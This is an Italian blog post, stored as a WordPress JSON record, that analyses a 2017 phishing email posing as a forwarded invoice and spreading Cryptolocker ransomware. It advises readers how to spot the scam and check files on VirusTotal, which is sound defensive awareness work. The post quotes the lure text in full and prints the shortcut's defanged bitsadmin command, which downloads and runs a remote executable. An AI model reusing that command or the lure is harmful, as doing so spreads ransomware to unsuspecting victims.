{"id":1430,"date":"2017-08-03T08:00:51","date_gmt":"2017-08-03T06:00:51","guid":{"rendered":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/?p=1430"},"modified":"2019-12-23T13:04:49","modified_gmt":"2019-12-23T12:04:49","slug":"inoltro-fattura-sospesa-613415-del-28-04-2017","status":"publish","type":"post","link":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/inoltro-fattura-sospesa-613415-del-28-04-2017\/","title":{"rendered":"Inoltro fattura sospesa 613415 del 28-04-2017 – ATTENZIONE CRIPTOLOCKER!"},"content":{"rendered":"

Qui siamo in presenza di un tentativo di infettarti con un bel Cryptolocker quindi massima attenzione a quello che ti dico e a tutte le informazioni che ti servono per identificare questa email.<\/p>\n

Analisi di un Cryptolocker in tempo reale<\/h2>\n

Il mittente \u00e8 betta<\/em><\/span>\u00a0<<\/span>ciceromontaggi@kuzyk.org><\/span><\/span><\/em> ma questo sappiamo che \u00e8 del tutto irrilevante.<\/span><\/span><\/p>\n

Ecco invece l’email<\/p>\n

Buongiorno Gentile Cliente,<\/p>\n

In allegato Vi invio come da Voi desiderato la fattura 613415 del 19-04-2017 Nota disponibile qui<\/p>\n

_____________________________________<\/p>\n

rosalia
\nCordiali Saluti<\/p>\n

 <\/p>\n

Vi ricordiamo che siete tenuti a stampare e conservare la fattura allegata come da art. 21 – DPR 183\/32, succ. modifiche e da risoluzione Ministero delle Finanze R.M. 30\/07\/1990 Nessuna copia verra’ inviata a mezzo servizio postale.<\/p>\n

Il messaggio e’ stato c o n t r o l l a t o da COMODO Antivirus<\/p>\n

—–Messaggio originale—-
\nDa: info@xxxxx.xx
\nData:8\/2\/2017 03:56:06
\nA: ciceromontaggi@kuzyk.org
\nOgg: richiesta fattura 613415
\nMi \u0438 stato detto che mi sarei dovuta far fare una fattura di acconto datata 2015<\/p><\/blockquote>\n

In sostanza ti dicono che ti mandano la copia della fattura facendo finta che sia una richiesta che arriva da te – vedi dove dice messaggio originale – e dandoti come al solito un link per scaricarla.<\/p>\n

Gi\u00e0 questo \u00e8 sospetto perch\u00e9 se uno manda una copia della fattura di solito allega un pdf all’email<\/strong>, non dice di andare su un sito per scaricarla, anche perch\u00e9 dovrebbe esserci un sistema di utenti e password che tu dovresti avere gi\u00e0 in mano se questo dovesse essere il sistema che l’azienda utilizza.<\/p>\n

L’email del mittente \u00e8 assolutamente falsa, non tanto per la prima parte – ciceromontaggi<\/em> – quando per il dominio del mittente – kuzyk.org<\/em> che, se vai a vedere, \u00e8 un dominio in vendita dove non c’\u00e8 nulla.<\/p>\n

Il link sotto la scritta\u00a0Nota disponibile qui \u00e8 altrettanto fasullo e non corrisponde al dominio del mittente come invece dovrebbe essere.<\/p>\n

\"fattura<\/p>\n

Ho cliccato sul link, e l’ho fatto perch\u00e9 cryptolocker su Mac OS X non funziona<\/strong>, e, come sospettavo mi \u00e8 apparso il classico messaggio che mi dice che<\/p>\n

I dispositivi cellulari non sono supportati<\/p>\n

\u00c8 necessario usare un computer Windows affinch\u00e9 SimXTextEngine funzioni correttamente.
\nAl momento, i sistemi operanti su dispositivi mobile, tra cui iOS e Andriod, non sono supportati.<\/p><\/blockquote>\n

proprio perch\u00e9 Cryptolocker funziona solo su Windows e non sugli smartphone o su Mac o Linux. Il messaggio ha lo scopo di farti credere che per scaricare la fattura devi usare un PC Windows, in modo che tu ti rivolga, magari, a qualcuno che ha Windows per fargli scaricare la fattura e cos\u00ec gli distruggi tutti i documenti che ha.<\/p>\n

Usando una macchina virtuale con VMWare Fusion, cio\u00e8 un sistema per fare girare Windows e tutti i programmi, sotto Mac OS X, ho aperto il link che mi ha chiesto di scaricare uno .zip, cosa che ho fatto<\/p>\n

\"cryptolocker<\/p>\n

Lo zip contiene quello che “sembra” un documento che non si capisce bene cosa sia, ma cliccando con il tasto destro e chiedendone le Propriet\u00e0<\/strong>, appare questo<\/p>\n

\"come<\/p>\n

Spiegazione leggermente pi\u00f9 tecnica del solito, puoi saltarla se non ti interessa<\/h3>\n

Che mi dice prima di tutto che questo non \u00e8 un documento ma un’applicazione<\/strong>, o meglio un link che esegue questo comando<\/strong> che ai pi\u00f9 sembrer\u00e0 oscuro. Ho provveduto a nascondere l’url per evitare che qualcuno si faccia del male.<\/p>\n

C:\\Windows\\System32\\cmd.exe \/k bitsadmin \/transfer cola \/priority high hxxp:\/\/icaan.evak......\/load11.bin %AppData%\\host11.exe & %AppData%\\host11.exe & exit<\/code><\/p>\n

In sostanza questo comando scarica un file eseguibile da un sito remoto e lo esegue e questo \u00e8 il Cryptolocker vero e proprio che poi, una volta eseguito, comincia a crittografare il tuo disco fisso e ti presenta la richiesta di riscatto.<\/p>\n

Come verificare se un file \u00e8 malware<\/h3>\n

Se hai saltato la spiegazione tecnica, senza assolutamente aprire il file<\/strong>, segui la procedura per controllare se il file \u00e8 un malware o meno<\/a> che ho spiegato in un articolo tempo fa. In sostanza puoi caricare il file che hai scaricato su virustotal.com<\/strong><\/a> e ti verr\u00e0 detto subito che \u00e8 un file sospetto da non aprire.<\/p>\n

Perch\u00e9 la gente scarica un Cryptolocker e si distrugge la vita lavorativa?<\/h2>\n

Domanda da un milione di dollari.<\/p>\n

Purtroppo la verit\u00e0 unica non esiste e ognuno lo fa per i motivi pi\u00f9 disparati. Quello che voglio sottolineare \u00e8 che in tutti questi casi \u00e8 richiesta un’azione da parte dell’utente; non \u00e8 che cliccando sull’email che arriva succede l’apocalisse; bisogna scaricare un file, scompattarlo e farlo partire; un file che, per giunta, non \u00e8 neppure identificato come documento riconoscibile che so, un pdf o un documento di Word.<\/p>\n

Quindi sono richieste azioni da parte dell’utente, azioni che si sarebbero potute evitare con un minimo di conoscenza – e a questo serve il blog che stai leggendo<\/strong> – e con un minimo di attenzione, non aprendo a caso documenti e non seguendo pedissequamente tutto quello che c’\u00e8 scritto in un’email che ha tutti gli attributi per essere sospetta.<\/p>\n

Per forza di cose questo articolo \u00e8 andato un po’ pi\u00f9 nel dettaglio ma non sei obbligato a seguire tutto quello che ti ho mostrato o a capire come vedere se un file \u00e8 sospetto o meno. Seguendo la procedura che ti ho illustrato, quella di Virustotal, avresti subito capito che il file e la relativa email erano subito da cancellare. Ricorda che l’infezione si prende agendo sul file, non semplicemente scaricandolo anche se ci sono delle eccezioni, quindi sempre massima cautela<\/strong>!<\/p>\n","protected":false},"excerpt":{"rendered":"

Qui siamo in presenza di un tentativo di infettarti con un bel Cryptolocker quindi massima attenzione a quello che ti dico e a tutte le informazioni che ti servono per identificare questa email. Analisi di un Cryptolocker in tempo reale Il mittente \u00e8 betta\u00a0<ciceromontaggi@kuzyk.org> ma questo sappiamo che \u00e8 del tutto irrilevante. Ecco invece l’email […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":"","_wpscp_schedule_draft_date":"","_wpscp_schedule_republish_date":"","_wpscppro_advance_schedule":false,"_wpscppro_advance_schedule_date":"","_wpscppro_dont_share_socialmedia":false,"_wpscppro_custom_social_share_image":0,"_facebook_share_type":"","_twitter_share_type":"","_linkedin_share_type":"","_pinterest_share_type":"","_linkedin_share_type_page":"","_instagram_share_type":"","_medium_share_type":"","_threads_share_type":"","_google_business_share_type":"","_bluesky_share_type":"","_mastodon_share_type":"","_selected_social_profile":[],"_wpsp_enable_custom_social_template":false,"_wpsp_social_scheduling":{"enabled":false,"datetime":null,"platforms":[],"status":"template_only","dateOption":"today","timeOption":"now","customDays":"","customHours":"","customDate":"","customTime":"","schedulingType":"absolute"},"_wpsp_active_default_template":true},"categories":[8],"tags":[3870,3883],"class_list":["post-1430","post","type-post","status-publish","format-standard","hentry","category-malware","tag-fattura","tag-ransomware"],"_links":{"self":[{"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/posts\/1430","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/comments?post=1430"}],"version-history":[{"count":0,"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/posts\/1430\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/media?parent=1430"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/categories?post=1430"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.tuttosullapostaelettronica.it\/blog\/wp-json\/wp\/v2\/tags?post=1430"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}